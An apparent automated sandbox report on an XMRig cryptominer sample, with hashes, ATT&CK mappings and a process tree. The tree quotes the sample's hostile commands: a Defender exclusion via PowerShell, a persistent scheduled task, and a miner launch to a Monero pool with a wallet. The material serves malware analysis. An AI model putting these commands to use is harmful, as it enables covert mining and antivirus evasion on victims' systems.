xmrig | 16b17d4126fcf6ed413faa7fccfe0a62899f1beb13aa7126ba6427d07a24a73c

Analysis

max time kernel
42s
max time network
45s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
08/03/2023, 10:33

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General

Target

8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe
Size

1.8MB
MD5

4b866d4b907abbedaaa880cf42770ccc
SHA1

fa41d4fe2c1136e6e893a720eb48b1c54406ded1
SHA256

8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779
SHA512

6626a59393f2c1a9451a8bd7ebcd28f34f47b3336347b4e18a5078ea5a5d6df4f37bd6221d1f3356f36e1c473ae5e060771a64fe42c77c14fd478cca6d9bf1d7
SSDEEP

49152:RHTAe3RCj7aXT2883eGoIQXCCCsEnvLcS2:RzAeBg7aCf3eGoINCCsEnTO

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/824-194-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/1532-75-0x0000000000380000-0x000000000053C000-memory.dmp	net_reactor
behavioral1/memory/1532-267-0x0000000000380000-0x000000000053C000-memory.dmp	net_reactor

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1532 set thread context of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
536	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe
1416	powershell.exe
1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe
1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeLockMemoryPrivilege	824	vbc.exe
Token: SeLockMemoryPrivilege	824	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
824	vbc.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1532 wrote to memory of 1416	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	27
PID 1532 wrote to memory of 1416	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	27
PID 1532 wrote to memory of 1416	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	27
PID 1532 wrote to memory of 1868	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	29
PID 1532 wrote to memory of 1868	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	29
PID 1532 wrote to memory of 1868	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	29
PID 1868 wrote to memory of 536	1868	cmd.exe	31
PID 1868 wrote to memory of 536	1868	cmd.exe	31
PID 1868 wrote to memory of 536	1868	cmd.exe	31
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33
PID 1532 wrote to memory of 824	1532	8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe	33

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe
"C:\Users\Admin\AppData\Local\Temp\8f33cfb97b5f36eea3f1dcee4d97687c9da0d589b2b92f1eeedd3a78d69af779.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "CARWD" /tr "C:\ProgramData\Package\CARWD.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "CARWD" /tr "C:\ProgramData\Package\CARWD.exe"
    3⤵
    - Creates scheduled task(s)
    PID:536
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:824

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/824-194-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1416-86-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/1416-92-0x00000000029BB000-0x00000000029F2000-memory.dmp

Filesize
220KB

Download
memory/1416-91-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1416-90-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1416-89-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1416-87-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/1532-71-0x000007FEFF230000-0x000007FEFF30B000-memory.dmp

Filesize
876KB

Download
memory/1532-94-0x0000000077780000-0x0000000077929000-memory.dmp

Filesize
1.7MB

Download
memory/1532-67-0x0000000000380000-0x000000000053C000-memory.dmp

Filesize
1.7MB

Download
memory/1532-69-0x000007FEFF630000-0x000007FEFF6A1000-memory.dmp

Filesize
452KB

Download
memory/1532-70-0x000007FEFAD70000-0x000007FEFAE67000-memory.dmp

Filesize
988KB

Download
memory/1532-56-0x00000000002F0000-0x0000000000332000-memory.dmp

Filesize
264KB

Download
memory/1532-72-0x000007FEF5B90000-0x000007FEF657C000-memory.dmp

Filesize
9.9MB

Download
memory/1532-73-0x000007FEFDA00000-0x000007FEFDB2D000-memory.dmp

Filesize
1.2MB

Download
memory/1532-74-0x000007FEFF420000-0x000007FEFF623000-memory.dmp

Filesize
2.0MB

Download
memory/1532-75-0x0000000000380000-0x000000000053C000-memory.dmp

Filesize
1.7MB

Download
memory/1532-76-0x000007FEF6F10000-0x000007FEF703C000-memory.dmp

Filesize
1.2MB

Download
memory/1532-77-0x000007FEFCF10000-0x000007FEFCF32000-memory.dmp

Filesize
136KB

Download
memory/1532-78-0x000007FEFCDC0000-0x000007FEFCDD7000-memory.dmp

Filesize
92KB

Download
memory/1532-68-0x00000000002F0000-0x0000000000332000-memory.dmp

Filesize
264KB

Download
memory/1532-65-0x0000000077560000-0x000000007767F000-memory.dmp

Filesize
1.1MB

Download
memory/1532-88-0x000000001BD70000-0x000000001BDF0000-memory.dmp

Filesize
512KB

Download
memory/1532-64-0x000007FEFF190000-0x000007FEFF22F000-memory.dmp

Filesize
636KB

Download
memory/1532-63-0x0000000077680000-0x000000007777A000-memory.dmp

Filesize
1000KB

Download
memory/1532-62-0x000007FEFFA20000-0x000007FEFFA87000-memory.dmp

Filesize
412KB

Download
memory/1532-81-0x000007FEFDB30000-0x000007FEFDC07000-memory.dmp

Filesize
860KB

Download
memory/1532-61-0x000007FEFB090000-0x000007FEFB12C000-memory.dmp

Filesize
624KB

Download
memory/1532-66-0x000007FEFD800000-0x000007FEFD86C000-memory.dmp

Filesize
432KB

Download
memory/1532-95-0x0000000077560000-0x000000007767F000-memory.dmp

Filesize
1.1MB

Download
memory/1532-96-0x000007FEFD800000-0x000007FEFD86C000-memory.dmp

Filesize
432KB

Download
memory/1532-97-0x000007FEFF190000-0x000007FEFF22F000-memory.dmp

Filesize
636KB

Download
memory/1532-98-0x000007FEFF630000-0x000007FEFF6A1000-memory.dmp

Filesize
452KB

Download
memory/1532-101-0x000007FEFB130000-0x000007FEFB19F000-memory.dmp

Filesize
444KB

Download
memory/1532-102-0x000007FEFF230000-0x000007FEFF30B000-memory.dmp

Filesize
876KB

Download
memory/1532-103-0x000007FEFDA00000-0x000007FEFDB2D000-memory.dmp

Filesize
1.2MB

Download
memory/1532-104-0x000007FEFB090000-0x000007FEFB12C000-memory.dmp

Filesize
624KB

Download
memory/1532-105-0x000007FEFC690000-0x000007FEFC69C000-memory.dmp

Filesize
48KB

Download
memory/1532-106-0x000007FEF5B90000-0x000007FEF657C000-memory.dmp

Filesize
9.9MB

Download
memory/1532-107-0x000007FEFAD70000-0x000007FEFAE67000-memory.dmp

Filesize
988KB

Download
memory/1532-108-0x000007FEFF420000-0x000007FEFF623000-memory.dmp

Filesize
2.0MB

Download
memory/1532-109-0x000007FEFBDE0000-0x000007FEFBDE3000-memory.dmp

Filesize
12KB

Download
memory/1532-110-0x000007FEF6F10000-0x000007FEF703C000-memory.dmp

Filesize
1.2MB

Download
memory/1532-111-0x000007FEFB460000-0x000007FEFB476000-memory.dmp

Filesize
88KB

Download
memory/1532-113-0x000007FEFCDC0000-0x000007FEFCDD7000-memory.dmp

Filesize
92KB

Download
memory/1532-115-0x00000000002F0000-0x0000000000332000-memory.dmp

Filesize
264KB

Download
memory/1532-138-0x000000001BD70000-0x000000001BDF0000-memory.dmp

Filesize
512KB

Download
memory/1532-60-0x000007FEFB130000-0x000007FEFB19F000-memory.dmp

Filesize
444KB

Download
memory/1532-267-0x0000000000380000-0x000000000053C000-memory.dmp

Filesize
1.7MB

Download